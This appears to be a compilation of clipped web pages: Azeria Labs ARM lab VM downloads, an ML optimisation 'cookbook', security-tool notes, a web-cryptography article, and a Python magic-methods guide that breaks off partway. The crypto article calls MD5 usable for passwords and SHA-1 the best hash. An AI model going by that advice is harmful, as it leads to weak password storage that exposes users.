AIN’T NOBODY GOT TIME FOR THAT – LEVEL 1	
Welcome on laziness level 1. I see you don’t have time to struggle through various linux and QEMU errors, or maybe you’ve tried setting it up yourself but some random error occurred and after spending hours trying to fix it, you’ve had enough.
Don’t worry, here’s a solution: Hugsy (aka creator of GEF) released ready-to-play Qemu images for architectures like ARM, MIPS, PowerPC, SPARC, AARCH64, etc. to play with. All you need is Qemu. Then download the link to your image, and unzip the archive.
Become a ninja on non-x86 architectures

AIN’T NOBODY GOT TIME FOR THAT – LEVEL 2	
Let me guess, you don’t want to bother with any of this and just want a ready-made Ubuntu VM with all QEMU stuff setup and ready-to-play. Very well. The first Azeria-Labs VM is ready. It’s a naked Ubuntu VM containing an emulated ARMv6l.
This VM is also for those of you who tried emulating ARM with QEMU but got stuck for inexplicable linux reasons. I understand the struggle, trust me.
Download here:
§ Full on GDrive: https://drive.google.com/file/d/1uX9fRUX-IHitQVD43QUsz9Aocy8pJ8XK/view?usp=sharing
§ Full on Mega.nz: https://mega.nz/#!1K4k1T5a!hGNAUNbTktPB69dOMRpOT-y2znlIB8LQ1twTp90Uu8s
§ Split on Mega.nz: https://mega.nz/#F!AO5j0ZCJ!ltZHLnXtpLccI4kkr-j2Xw
§ Split on GDrive: https://drive.google.com/drive/folders/1p_XdsiVVSGk-LLtSFOov1H1y8z7g_SeK?usp=sharing
VMware image size:
§ Downloaded zip: Azeria-Lab-v1.7z (4.62 GB) 
§ MD5: C0EA2F16179CF813D26628DC792C5DE6
§ SHA1: 1BB1ABF3C277E0FD06AF0AECFEDF7289730657F2
§ Extracted VMware image: ~16GB
Password: azerialabs
Host system specs:
§ Ubuntu 16.04.3 LTS 64-bit (kernel 4.10.0-38-generic) with Gnome 3
§ HDD: ~26GB (ext4) + ~4GB Swap
§ RAM (configured): 4GB
QEMU setup:
§ Raspbian 8 (27-04-10-raspbian-jessie) 32-bit (kernel qemu-4.4.34-jessie)
§ HDD: ~8GB
§ RAM: ~256MB
§ Tools: GDB (Raspbian 7.7.1+dfsg-5+rpi1) with GEF
I’ve included a Lab VM Starter Guide and set it as the background image of the VM. It explains how to start up QEMU, how to write your first assembly program, how to assemble and disassemble, and some debugging basics. Enjoy!



﻿http://www.inference.vc/design-patterns/ 
A Cookbook for Machine Learning: Vol 1
Created:
11/23/2017 9:52:24 AM
Updated:
11/23/2017 9:52:24 AM
Author:
wishi
Tags:





November 16th, 2017 
A Cookbook for Machine Learning: Vol 1
This was a busy week, I had no time to read anything new, so I'm sharing a note that I wrote for myself, for no other reason than to understand things better. It's a kind of cookbook of various "transformations" you can apply to a machine learning problem to eventually turn it into something we know how to solve: seeking stable attractors of a tractable vector field.
The typical setup is: you have some model parameters θ		
θ
. You seek to optimize some objective criterion, but the optimization problem is intractable or hard in one of the ways listed below. You then apply the corresponding transformation to your problem if you can. If your problem is now one you can efficiently optimize, great. If not, you can recursively apply the transformations until it is.
UPDATE: Although I called this post a cookbook, as readers so rightly pointed out, it is too light on details to be considered a cookbook. Consider it as a demonstration of a way of thinking about machine learning research as a compiler that compiles an abstract machine learning objective into the canonical optimization problem of finding stable attractors of a tractable vector field.
For the first batch, I have written up the following problem transformations:
· Variational bounds
· Adversarial games
· Evolution Strategies
· Convex relaxation
There are many more transformations not included here, like the duality principle, half-quadratic splitting, Lagrangian multipliers, etc. Feel free to leave comments about what else I should include next.
Variational bounds
Typical problem:
My loss function f	(θ)		
f(θ)
is intractable to compute, typically because it involves intractable marginalization. I can't evaluate it let alone minimize it.
Solution:
Let's construct a family of - typically differentiable - upper-bounds: 
f	(θ)≤inf	ψ	g	(θ,ψ),		
f(θ)≤infψg(θ,ψ),
and solve the optimization problem 
θ	∗	,ψ	∗	←argmin	θ,ψ	g	(θ,ψ)		
θ∗,ψ∗←argminθ,ψ⁡g(θ,ψ)
instead. Technically, once optimization is finished, you can discard the auxiliary parameter ψ	∗			
ψ∗
- although often turns out to be meaningful and useful in itself, often for approximate inference such as the recognition model of VAEs.
Tricks of the trade:
Jensen's inequality: The mean value of a convex function is never lower than the value of the convex function applied to the mean. Generally appears in some variant of the standard evidence lower bound (ELBO) derivation below:
−logp(x)				=−log∫	p(x,y	)d	y		=−log∫	q	(y	|x)p(y	,x)	q	(y	|x)			d	y		≤−∫	q	(y	|x)logp(y	,x)	q	(y	|x)			d	y					
−log⁡p(x)=−log⁡∫p(x,y)dy=−log⁡∫q(y|x)p(y,x)q(y|x)dy≤−∫q(y|x)log⁡p(y,x)q(y|x)dy
Reparametrization trick: In variational inference we often encounter gradients of the form: 
∂		∂	θ	i				E	x∼q		θ		[f	(x,q		θ	(x))],		
∂∂θiEx∼qθ[f(x,qθ(x))],
where the pdf of the variable appears in the integrand. If we can find a function h:(E	,Θ)↦X			
h:(E,Θ)↦X
which is differentiable w.r.t. its second argument, and probability distribution p	ε			
pε
over E			
E
which is easy to sample from, such that the following holds: 
x=h(ε,θ),ε∼p	ε		⟺	x∼q		θ	,		
x=h(ε,θ),ε∼pε⟺x∼qθ,
We can use the following reformulation of integrals we often encounter in variational upper bounds. 
∂		∂	θ	i				E	x∼q		θ		[f	(x,q		θ	(x))]=E	ε∼p	ε		[∂		∂	θ	i				f	(h(ε,θ),q		ε	(h(ε,θ)))]		
∂∂θiEx∼qθ[f(x,qθ(x))]=Eε∼pε[∂∂θif(h(ε,θ),qε(h(ε,θ)))]
A Monte Carlo estimators to this expectation typically have substantially lower variance than REINFORCE estimators to the same quantity.
Adversarial games
Typical problem:
I can't estimate my loss function f	(θ)		
f(θ)
directly from samples, typically because the loss function depends on the pdf of the data distribution or that of my model, or both.
Solution:
We can sometimes construct an approximation so that 
f	(θ)≈h(θ,argmin	ψ	g	(θ,ψ)),		
f(θ)≈h(θ,argminψ⁡g(θ,ψ)),
and then we can solve the problem of finding a stable equilibrium of the two-player game where players minimize losses g			
g
and h		
h
with respect to ψ		
ψ
and θ		
θ
, respectively. 
Sometimes, the approximations may come in the form of lower-bounds, which is the case when h=−g			
h=−g
: 
f	(θ)≥sup	ψ	g	(θ,ψ),		
f(θ)≥supψg(θ,ψ),
in which case we can solve the following minimax problem instead: 
θ	∗	←argmin	θ	max	ψ	g	(θ,ψ)		
θ∗←argminθ⁡maxψg(θ,ψ)
Tricks of the trade:
Bayes optimality in auxiliary tasks: When your loss function depends on densities of probability distributions you can easily sample from, often you can construct an auxiliary task, whose Bayes optimal solution depends on values of the densities in question. Examples of auxiliary tasks are: binary classification for likelihood ratio estimation, denoising or score matching for estimating the score function.
Convex conjugate: In case your loss function involves convex functional of the densities (such as in f-divergences), you can transform your problem by re-expressing it in terms of the convex conjugate. The expression for f			
f
in terms of its convex conjugate f		∗			
f∗
is: 
f	(u)			=sup	v∈dom(f		∗	)	{⟨u,v⟩−f		∗	(v)}	≥sup	ψ	{⟨u,v	ψ	⟩−f	(v	ψ	)},				
f(u)=supv∈dom⁡(f∗){⟨u,v⟩−f∗(v)}≥supψ{⟨u,vψ⟩−f(vψ)},
Note that if u		
u
is a density function, then the inner product ⟨u,v	ψ	⟩		
⟨u,vψ⟩
is the expectation of v	ψ			
vψ
, which can be approximated by Monte Carlo sampling.
Evolution strategies
Typical problem
My f	(θ)		
f(θ)
is easy to evaluate but hard to optimize, perhaps because it contains discrete operations, or the function is piecewise constant. Backpropagation is not possible.
Solution
Observe that for any probability distribution p	ψ			
pψ
over θ		
θ
the following holds: 
min	θ	f	(θ)≤min	ψ	E	θ∼p	ψ		f	(θ)		
minθf(θ)≤minψEθ∼pψf(θ)
therefore in ES we concentrate of the following optimization problem instead: 
ψ	∗	←argmin	ψ	E	θ∼p	ψ		f	(θ)		
ψ∗←argminψ⁡Eθ∼pψf(θ)
Often, depending on the function f			
f
and class of distributions p	ψ			
pψ
, a local minimum of f			
f
can be recovered from a local minimum of ψ		
ψ
.
Tricks of the trade
REINFORCE gradient estimator: It relies on the following trick 
∂		∂	ψ	i				E	θ∼p	ψ		[f	(θ)]=E	θ∼p	ψ		[∂		∂	ψ	i				logp	ψ	(θ)f	(θ)],		
∂∂ψiEθ∼pψ[f(θ)]=Eθ∼pψ[∂∂ψilog⁡pψ(θ)f(θ)],
where the RHS can be easily approximated by Monte Carlo. The variance of Monte Carlo REINFORCE estimators tends to be quite high.
Convex relaxation
Typical problem
My f	(θ)		
f(θ)
is hard to optimize, because it has non-differentiable and non-convex components like the l	0			
l0
-norm of a vector in sparse methods, or the Heaviside step function in classification.
Solution
Replace the non-convex component by a convex approximation, turning your objective into a now typically convex g			
g
f	(θ)≈g	(θ)		
f(θ)≈g(θ)
Tricks of the trade:
l	1			
l1
loss: In many sparse learning situations we wish to minimize counts of non-zero entries in a vector, which is known as l	0			
l0
loss. You can typically replace this by the l	1			
l1
norm of the vector.
hinge loss and large margin methods: The error rate of a binary classifier under zero-one loss, the objective is typically a piecewise constant function of the parameters of a classifier and is thus hard to optimize. We can replace the zero-one-loss with the hinge loss, which can be understood as a convex upper bound. The resulting optimization problem will have a tendency to maximize the classifier's margin.
﻿https://github.com/211217613/C-Hacking 
211217613/C-Hacking
Created:
7/13/2015 3:37:14 PM
Updated:
7/13/2015 3:37:14 PM
Author:

Tags:
howto


211217613/C-Hacking
Practice and learning in the world of C RE and exploit analysis 
﻿http://writequit.org/projects/nsm-console/ 
:wq - nsm-console
Created:
5/29/2010 11:29:31 AM
Updated:
5/29/2010 11:29:31 AM
Author:
wishi
Tags:
security tools awesome


NSM-Console
NSM-Console (Network Security Monitoring Console) is a framework for performing analysis on packet capture files. It implements a modular structure to allow for an analyst to quickly write modules of their own without any programming language experience. Using these modules a large amount of pcap analysis can be performed quickly using a set of global (as well as per-module) options. It aims to be simple to run and easy to understand without a lot of learning time.
NSM-Console changes pretty quickly, since I'm the only developer. I will try to keep a log of what I have added here. NSM-Console is released as an included tool in the Hex 2.0 release, the included version is 0.8-DEVEL.
NSM-Console tends to change pretty quickly, since I'm the only developer :)
Here are a couple of screenshots:

Documentation:
Read my whitepaper about NSM-Console to get an overview of how it was designed to work. You can download the paper here or find it in the papers section of the site.
NSM-Console is also mentioned in a few whitepapers, like this one on advanced incident handling. Check it out!
You can see all my blog posts tagged with the 'nsm-console' category tag here.
Screencasts
You can download a screencast of NSM-Console referenced at here. Note that the version used in the screencast was 0.3-DEVEL.
You can watch another screencast on how to create a module for NSM-Console here. The version used is 0.4.
Downloads:
The latest stable version of NSM-Console is version 0.7
The latest development version of NSM-Console would be 0.8-DEVEL. You can download a tarball of the latest development code from here. Note that development releases have not been completely tested, and might contain bugs :)
Older version of NSM-Console can be downloaded here.
Personally, I recommend checking the code out from git.
Update: I switched to git from svn, because I like it more and it's way easier to push changes to. Check out the nsm-console project page on github for the latest checkin info!
If you want to check out the code from git, use the following:
git clone git://github.com/dakrone/nsm-console.git
﻿http://hopperapp.tumblr.com/post/24200744147/a-big-step-has-been-reached-in-arm-support-hopper 
A big step has been reached in ARM support: Hopper...
Created:
6/28/2012 8:22:14 AM
Updated:
6/28/2012 8:22:14 AM
Author:

Tags:
reversing devtools


June 1, 2012

A big step has been reached in ARM support: Hopper is now able to disassemble ARMv6, ARMv7, reformats operands according to user requirements, and compute basic blocks of procedures! This point was really important! At the moment, it still miss a lot of things, like discovering the variables on the stack frame... One step at a time... :)
﻿http://www.alistapart.com/articles/web-cryptography-salted-hash-and-other-tasty-dishes/ 
A List Apart: Articles: Web Cryptography: Salted Hash and Other Tasty Dishes
Created:
3/9/2011 11:38:36 AM
Updated:
3/9/2011 11:38:44 AM
Author:

Tags:
web crypto


Web Cryptography: Salted Hash and Other Tasty Dishes
by LYLE MULLICAN
Published in: Scripting, Server Side 
Discuss this article »  | Share this article »

One of the most powerful security tools available to web developers is cryptography—essentially a process by which meaningful information is turned into random noise, unreadable except where specifically intended. Many governments tightly regulated cryptographic software until relatively recently. But cryptography is simply applied math, and it’s proved impossible to suppress. A web developer working on an underpowered netbook in his basement now has access to cryptosystems that major governments could only have dreamed of a few decades ago.
It’s tempting to think that a simple web application doesn’t require industrial-strength security because it’s not going to contain any information worth stealing, like credit card numbers. Unfortunately, people’s tendency to reuse passwords across many different systems means that a compromise of the weakest one can often give access to the rest. In 2009, a hacker famously gained access to a number of internal systems at Twitter by compromising the email account of a single administrative assistant.
Just as any artisan must know his tools and materials to achieve excellence, it’s important for web developers to understand what types of cryptography work in specific contexts, even if we don’t need to grasp the details of the math involved. Poorly applied cryptography provides no benefit and might even be dangerous by creating a false sense of security.
There are many different types of cryptosystems, but three broad categories commonly relate to web applications.
One-way functions
You can’t start with a sausage and work backwards to produce the raw ingredients that went into it. In the same way, a cryptographic hash is designed to take in data and mangle it, so that what comes out the other end is unrecognizable—irreversibly so. Described this way, it doesn’t sound like a particularly difficult or useful operation. But well-designed hashes have two properties that make them both complex and useful.
First, a small change in the input should make a drastic change in the output. In other words, changing one character in the data being hashed will change a lot more than one character of the output. Usually, hashes produce an output of fixed (and relatively short) length, regardless of the input size. This means that multiple inputs could theoretically produce the same result, making it impossible to know what the original data was if an attacker only has the hashed result to work with.
Second, a hash will always produce the same output when given the same input. The most obvious application for hashes is in the storage of passwords. A web application doesn’t really need to know a user’s password—it just needs to verify that the person requesting access knows the password. If we hash passwords the same way at the time of creation and login, we only have to store and compare the result of the hash operation to know that the originals are the same. Then, even if a user database is exposed, the attacker doesn’t have anything terribly useful to work with. At least, that’s the conventional wisdom.
In reality, it’s not quite that simple. First, not all hashing algorithms are created equal. The once-popular MD5 algorithm, for example, is now known to be cryptographically weak in general (although it’s still usable for passwords). Second, we know that a lot of people choose the same common passwords. This means that if an attacker knows the hash value of “123456” as produced by a few popular algorithms, he can easily recognize it in a database. Lists of pre-computed hashes are widely available and known in the security industry asrainbow tables.
To counter this weakness, a hash can be “salted.” Given the two properties of good hash algorithms described above, we can simply append a little data of our own to the user’s password and store the hash of that combined text rather than the password itself. This will create a completely different result that’s still easily verifiable.
Compare the following:
sha1('password')
=> 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

sha1('x5T1password')
=> e1f9530af9bde38db0eef386c4d22ec2ba10d2fe
In this example, adding four random characters to the beginning of the word changes 95% of the resulting output. The SHA-1 algorithm, developed by the US National Security Agency, is currently the best available hash function that enjoys broad support in most popular programming languages.
Symmetric encryption
Of course, one-way functions have a fairly narrow use. In many cases, information is encrypted only to ensure that it can’t be read outside its intended context. But within that context—an administrative console, for example—the encryption needs to be reversible.
However, the first question an application developer should always ask is: “Do I really need to collect and store this information?” Keeping data collection to an absolute minimum usually contributes to an improved user experience, simplifies development, and is naturally more secure. After all, data that doesn’t exist can’t be stolen or exploited.
But assuming that sensitive information is really crucial to an application’s function, we have to consider how to handle it securely. Reversible encryption falls into two categories. In the first, a single secret “key” is used both for scrambling and unscrambling the data. A key is somewhat like a password, but since keys are more likely to be used by programs than people, they can (and should) be longer and completely random.
With modern algorithms, symmetric encryption has the advantage of being extremely fast. The strong AES algorithm (also known as the Rijndael cipher) was specifically designed for speed and is well supported, with implementations in both database servers and application frameworks. Encrypting and decrypting data in MySQL, for example, is as simple as the following:
INSERT INTO people (pet_name) 
  VALUES (AES_ENCRYPT('Schmoopie','my-secret-key'));

SELECT AES_DECRYPT(pet_name, 'my-secret-key') AS pet_name
  FROM people;
This doesn’t protect the information from exposure if a malicious user gains access to the web application, since it knows how to decrypt the data. It does, however, protect against accidental disclosure in other contexts, like backup files or an attack on the database itself.
Symmetric encryption works well when we only need to access the information in a single context. However, all of its strength lies in the secrecy of the key. This becomes a challenge when we want to move the data from one place to another. If we have to share the key, especially with multiple recipients, it’s no longer a secret.
Asymmetric encryption
To meet this need, asymmetric algorithms rely upon a pair of linked keys that are generated with specific properties. When one key encrypts a piece of information, only the corresponding key in the pair can decrypt it. This type of encryption is also called public-keycryptography because often (not always), one key is made public while the other is kept private.
The math that makes this pairing possible is interesting, but what web developers need to understand is when to use it and what protection it provides. We most commonly encounter the technology in SSL (now called TLS) connections. A web server sends its public key to a web browser, which uses it to encrypt data that only the server can decrypt. It can also be used for sending encrypted e-mail.
Compared with symmetric functions, asymmetric ones are slow and require keys that are several times longer to be effective. In TLS connections, the browser and server only use public-key cryptography to establish a temporary symmetric key that they can use to encrypt subsequent communication.
These functions fulfill a crucial role in the modern web experience, however, by allowing us to protect data in transit between an application and its users. The prevalence of open WiFi makes this a very real concern. On open WiFi networks, users broadcast everything they’re doing in a 360-degree radius for a considerable distance. Without encryption, that data can be easily observed by anyone with a laptop. Two high-profile incidents highlighted this risk in 2010. First, Google ran afoul of privacy authorities by accidentally collecting and storing unencrypted WiFi traffic with its Street View cars. What Google did accidentally, others can do on purpose. Later the same year, the Firesheep plugin made headlines by showing just how simple (and damaging) it can be to eavesdrop on an open network.
At minimum, web applications should require TLS connections when transmitting login information. Using them for all traffic is even better.
Understanding the risk
Given the way people use computers today, all of these technologies will only become more important to web developers. The past few years have shown that the risk is not academic. It’s not enough to say “my application doesn’t have a high enough profile to be a target,” because attacks are frequently automated, not targeted. At the same time, we have to understand and educate others about specific risks and how we use technology to address them. Without that education, clients may consider a site or application “secure” simply because it accepts HTTPS connections, not understanding why it’s unable to e-mail a clear-text password to them.
Security can never be absolute. But used properly, modern cryptography provides us with the tools to eliminate the biggest threats. It’s up to us to put them to use. 

﻿http://codinghorror.typepad.com/.a/6a0120a85dcdae970b0128777024d1970c-pi 
6a0120a85dcdae970b0128777024d1970c-pi (JPEG-Grafik, 500x334 Pixel)
Created:
12/20/2010 10:09:51 PM
Updated:
12/20/2010 10:09:59 PM
Author:

Tags:
LOLZ


﻿http://www.rafekettler.com/magicmethods.html 
A Guide to Python's Magic Methods « rafekettler.com
Created:
2/6/2011 11:33:16 AM
Updated:
2/6/2011 11:33:41 AM
Author:

Tags:
python Tutorials programming awesome


A Guide to Python's Magic Methods
Rafe Kettler
Copyright © 2011 Rafe Kettler
Version 1.12
The magic methods guide has a git repository at http://www.github.com/RafeKettler/magicmethods. Any issues can be reported there, along with comments, (or even contributions!).
Table of Contents
1. Introduction
2. Construction and Initialization
3. Making Operators Work on Custom Classes 
o Comparison magic methods
o Numeric magic methods
4. Representing your Classes
5. Controlling Attribute Access
6. Making Custom Sequences
7. Reflection
8. Callable Objects
9. Context Managers
10. Building Descriptor Objects
11. Pickling your Objects
12. Conclusion
13. Appendix: How to Call Magic Methods
Introduction
This guide is the culmination of a few months' worth of blog posts. The subject is magic methods.
What are magic methods? They're everything in object-oriented Python. They're special methods that you can define to add "magic" to your classes. They're always surrounded by double underscores (e.g.__init__ or __lt__). They're also not as well documented as they need to be. All of the magic methods for Python appear in the same section in the Python docs, but they're scattered about and only loosely organized. There's hardly an example to be found in that section (and that may very well be by design, since they're all detailed in the language reference, along with boring syntax descriptions, etc.).
So, to fix what I perceived as a flaw in Python's documentation, I set out to provide some more plain-English, example-driven documentation for Python's magic methods. I started out with weekly blog posts, and now that I've finished with those, I've put together this guide.
I hope you enjoy it. Use it as a tutorial, a refresher, or a reference; it's just intended to be a user-friendly guide to Python's magic methods.
Construction and Initialization
Everyone knows the most basic magic method, __init__. It's the way that we can define the initialization behavior of an object. However, when I call x = SomeClass(), __init__ is not the first thing to get called. Actually, it's a method called __new__, which actually creates the instance, then passes any arguments at creation on to the initializer. At the other end of the object's lifespan, there's __del__. Let's take a closer look at these 3 magic methods:
__new__(cls, [...)
__new__ is the first method to get called in an object's instantiation. It takes the class, then any other arguments that it will pass along to __init__. __new__ is used fairly rarely, but it does have its purposes, particularly when subclassing an immutable type like a tuple or a string. I don't want to go in to too much detail on __new__ because it's not too useful, but it is covered in great detail in the Python docs.
__init__(self, [...)
The initializer for the class. It gets passed whatever the primary constructor was called with (so, for example, if we called x = SomeClass(10, 'foo'), __init__ would get passed 10 and 'foo' as arguments. __init__ is almost universally used in Python class definitions.
__del__(self)
If __new__ and __init__ formed the constructor of the object, __del__ is the destructor. It doesn't implement behavior for the statement del x (so that code would not translate to x.__del__()). Rather, it defines behavior for when an object is garbage collected. It can be quite useful for objects that might require extra cleanup upon deletion, like sockets or file objects. Be careful, however, as there is no guarantee that __del__ will be executed if the object is still alive when the interpreter exits, so __del__ can't serve as a replacement for good coding practices (like always closing a connection when you're done with it.
Putting it all together, here's an example of __init__ and __del__ in action:
from os.path import join

class FileObject:
    '''Wrapper for file objects to make sure the file gets closed on deletion.'''

    def __init__(self, filepath='~', filename='sample.txt'):
        # open a file filename in filepath in read and write mode
        self.file = open(join(filepath, filename), 'r+')

    def __del__(self):
        self.file.close()
        del self.file

Making Operators Work on Custom Classes
One of the biggest advantages of using Python's magic methods is that they provide a simple way to make objects behave like built-in types. That means you can avoid ugly, counter-intuitive, and nonstandard ways of performing basic operators. In some languages, it's common to do something like this:
if instance.equals(other_instance):
    # do something

You could certainly do this in Python, too, but this adds confusion and is unnecessarily verbose. Different libraries might use different names for the same operations, making the client do way more work than necessary. With the power of magic methods, however, we can define one method (__eq__, in this case), and say what we mean instead:
if instance == other_instance:
    #do something

That's part of the power of magic methods. The vast majority of them allow us to define meaning for operators so that we can use them on our own classes just like they were built in types.
Comparison magic methods
Python has a whole slew of magic methods designed to implement intuitive comparisons between objects using operators, not awkward method calls. They also provide a way to override the default Python behavior for comparisons of objects (by reference). Here's the list of those methods and what they do:
__cmp__(self, other)
__cmp__ is the most basic of the comparison magic methods. It actually implements behavior for all of the comparison operators (<, ==, !=, etc.), but it might not do it the way you want (for example, if whether one instance was equal to another were determined by one criterion and and whether an instance is greater than another were determined by something else). __cmp__ should return a negative integer if self < other, zero if self == other, and positive if self > other. It's usually best to define each comparison you need rather than define them all at once, but __cmp__ can be a good way to save repetition and improve clarity when you need all comparisons implemented with similar criteria.
__eq__(self, other)
Defines behavior for the equality operator, ==.
__ne__(self, other)
Defines behavior for the inequality operator, !=.
__lt__(self, other)
Defines behavior for the less-than operator, <.
__gt__(self, other)
Defines behavior for the greater-than operator,  > .
__le__(self, other)
Defines behavior for the less-than-or-equal-to operator, <=.
__ge__(self, other)
Defines behavior for the greater-than-or-equal-to operator, >=.
For an example, consider a class to model a word. We might want to compare words lexicographically (by the alphabet), which is the default comparison behavior for strings, but we also might want to do it based on some other criterion, like length or number of syllables. In this example, we'll compare by length. Here's an implementation:
class Word(str):
    '''Class for words, defining comparison based on word length.'''

    def __new__(cls, word):
        # Note that we have to use __new__. This is because str is an immutable
        # type, so we have to initialize it early (at creation)
        if ' ' in word:
            print "Value contains spaces. Truncating to first space."
            word = word[:word.index(' ')] # Word is now all chars before first space
        return str.__new__(cls, word)

    def __gt__(self, other):
        return len(self) 
>
 len(other)
    def __lt__(self, other):
        return len(self) < len(other)
    def __ge__(self, other):
        return len(self) >= len(other)
    def __le__(self, other):
        return len(self) <= len(other)

Now, we can create two Words (by using Word('foo') and Word('bar')) and compare them based on length. Note, however, that we didn't define __eq__ and __ne__. This is because this would lead to some weird behavior (notably that Word('foo') == Word('bar') would evaluate to true). It wouldn't make sense to test for equality based on length, so we fall back on str's implementation of equality.
Now would be a good time to note that you don't have to define every comparison magic method to get rich comparisons. The standard library has kindly provided us with a class decorator in the modulefunctools that will define all rich comparison methods if you only define __eq__ and one other (e.g.__gt__, __lt__, etc.) This feature is only available in Python 2.7, but when you get a chance it saves a great deal of time and effort. You can use it by placing @total_ordering above your class definition.
Numeric magic methods
Just like you can create ways for instances of your class to be compared with comparison operators, you can define behavior for numeric operators. Buckle your seat belts, folks, there's a lot of these. For organization's sake, I've split the numeric magic methods into 5 categories: unary operators, normal arithmetic operators, reflected arithmetic operators (more on this later), augmented assignment, and type conversions.
Unary operators and functions
Unary operators and functions only have one operand, e.g. negation, absolute value, etc.
__pos__(self)
Implements behavior for unary positive (e.g. +some_object)
__neg__(self)
Implements behavior for negation (e.g. -some_object)
__abs__(self)
Implements behavior for the built in abs() function.
__neg__(self)
Implements behavior for negation (e.g. -some_object)
__invert__(self)
Implements behavior for inversion using the ~ operator. For an explanation on what this does, seethe Wikipedia article on bitwise operations.
Normal arithmetic operators
Now, we cover the typical binary operators (and a function or two): +, -, * and the like. These are, for the most part, pretty self-explanatory.
__add__(self, other)
Implements addition.
__sub__(self, other)
Implements subtraction.
__mul__(self, other)
Implements multiplication.
__floordiv__(self, other)
Implements integer division using the // operator.
__div__(self, other)
Implements division using the / operator.
__truediv__(self, other)
Implements true division. Note that this only works when from __future__ import division is in effect.
__mod_(self, other)
Implements modulo using the % operator.
__divmod__(self, other)
Implements behavior for long division using the divmod() built in function.
__pow__
Implements behavior for exponents using the ** operator.
__lshift__(self, other)
Implements left bitwise shift using the << operator.
__rshift__(self, other)
Implements right bitwise shift using the >> operator.
__and__(self, other)
Implements bitwise and using the & operator.
__or__(self, other)
Implements bitwise or using the | operator.
__xor__(self, other)
Implements bitwise xor using the ^ operator.
Reflected arithmetic operators
You know how I said I would get to reflected arithmetic in a bit? Some of you might think it's some big, scary, foreign concept. It's actually quite simple. Here's an example:
some_object + other

That was "normal" addition. The reflected equivalent is the same thing, except with the operands switched around:
other + some_object

So, all of these magic methods do the same thing as their normal equivalents, except the perform the operation with other as the first operand and self as the second, rather than the other way around. In most cases, the result of a reflected operation is the same as its normal equivalent, so you may just end up defining __radd__ as calling __add__ and so on. Without further ado:
__radd__(self, other)
Implements reflected addition.
__rsub__(self, other)
Implements reflected subtraction.
__rmul__(self, other)
Implements reflected multiplication.
__rfloordiv__(self, other)
Implements reflected integer division using the // operator.
__rdiv__(self, other)
Implements reflected division using the / operator.
__rtruediv__(self, other)
Implements reflected true division. Note that this only works when from __future__ import division is in effect.
__rmod_(self, other)
Implements reflected modulo using the % operator.
__rdivmod__(self, other)
Implements behavior for long division using the divmod() built in function, when divmod(other, self) is called.
__rpow__
Implements behavior for reflected exponents using the ** operator.
__rlshift__(self, other)
Implements reflected left bitwise shift using the << operator.
__rrshift__(self, other)
Implements reflected right bitwise shift using the >> operator.
__rand__(self, other)
Implements reflected bitwise and using the & operator.
__ror__(self, other)
Implements reflected bitwise or using the | operator.
__rxor__(self, other)
Implements reflected bitwise xor using the ^ operator.
Augmented assignment
Python also has a wide variety of magic methods to allow custom behavior to be defined for augmented assignment. You're probably already familiar with augmented assignment, it combines "normal" operators with assignment. If you still don't know what I'm talking about, here's an example:
x = 5
x += 1 # in other words x = x + 1

Each of these methods does not return a value, because assignment in Python does not return any value. Instead, they just alter the state of the class. Here's the list:
__iadd__(self, other)
Implements addition with assignment.
__isub__(self, other)
Implements subtraction with assignment.
__imul__(self, other)
Implements multiplication with assignment.
__ifloordiv__(self, other)
Implements integer division with assignment using the //= operator.
__idiv__(self, other)
Implements division with assignment using the /= operator.
__itruediv__(self, other)
Implements true division with assignment. Note that this only works when from __future__ import division is in effect.
__imod_(self, other)
Implements modulo with assignment using the %= operator.
__ipow__
Implements behavior for exponents with assignment using the **= operator.
__ilshift__(self, other)
Implements left bitwise shift with assignment using the <<= operator.
__irshift__(self, other)
Implements right bitwise shift with assignment using the >>= operator.
__iand__(self, other)
Implements bitwise and with assignment using the &= operator.
__ior__(self, other)
Implements bitwise or with assignment using the |= operator.
__ixor__(self, other)
Implements bitwise xor with assignment using the ^= operator.
Type conversion magic methods
Python also has an array of magic methods designed to implement behavior for built in type conversion functions like float(). Here they are:
__int__(self)
Implements type conversion to int.
__long__(self)
Implements type conversion to long.
__float__(self)
Implements type conversion to float.
__complex__(self)
Implements type conversion to complex.
__oct__(self)
Implements type conversion to octal.
__hex__(self)
Implements type conversion to hexadecimal.
__index__(self)
Implements type conversion to an int when the object is used in a slice expression. If you define a custom numeric type that might be used in slicing, you should define __index__.
__trunc__(self)
Called when math.trunc(self) is called. __trunc__ should return the value of `self truncated to an integral type (usually a long).
__coerce__(self, other)
Method to implement mixed mode arithmetic. __coerce__ should return None if type conversion is impossible. Otherwise, it should return a pair (2-tuple) of self and other, manipulated to have the same type.
Representing your Classes
It's often useful to have a string representation of a class. In Python, there's a few methods that you can implement in your class definition to customize how built in functions that return representations of your class behave.
__str__(self)
Defines behavior for when str() is called on an instance of your class.
__repr__(self)
Defines behavior for when repr() is called on an instance of your class. The major difference between str() and repr() is intended audience. repr() is intended to produce output that is mostly machine-readable (in many cases, it could be valid Python code even), whereas str() is intended to be human-readable.
__unicode__(self)
Defines behavior for when unicode() is called on an instance of your class. unicode() is like str(), but it returns a unicode string. Be wary: if a client calls str() on an instance of your class and you've only defined __unicode__(), it won't work. You should always try to define __str__() as well in case someone doesn't have the luxury of using unicode.
__hash__(self)
Defines behavior for when hash() is called on an instance of your class. It has to return an integer, and its result is used for quick key comparison in dictionaries.
__nonzero__(self)
Defines behavior for when bool() is called on an instance of your class. Should return True or False, depending on whether you would want to consider the instance to be True or False.
We're pretty much done with the boring (and example-free) part of the magic methods guide. Now that we've covered some of the more basic magic methods, it's time to move to more advanced material.
Controlling Attribute Access
Many people coming to Python from other languages complain that it lacks true encapsulation for classes (e.g. no way to define private attributes and then have public getter and setters). This couldn't be farther than the truth: it just happens that Python accomplishes a great deal of encapsulation through "magic", instead of explicit modifiers for methods or fields. Take a look:
__getattr__(self, name)
You can define behavior for when a user attempts to access an attribute that doesn't exist (either at all or yet). This can be useful for catching and redirecting common misspellings, giving warnings about using deprecated attributes (you can still choose to compute and return that attribute, if you wish), or deftly handing an AttributeError. It only gets called when a nonexistent attribute is accessed, however, so it isn't a true encapsulation solution.
__setattr__(self, name, value)
Unlike __getattr__, __setattr__ is an encapsulation solution. It allows you to define behavior for assignment to an attribute regardless of whether or not that attribute exists, meaning you can define custom rules for any changes in the values of attributes. However, you have to be careful with how you use __setattr__, as the example at the end of the list will show.
__delattr__
This is the exact same as __setattr__, but for deleting attributes instead of setting them. The same precautions need to be taken as with __setattr__ as well in order to prevent infinite recursion (calling del self.name in the implementation of __delattr__ would cause infinite recursion).
__getattribute__(self, name)
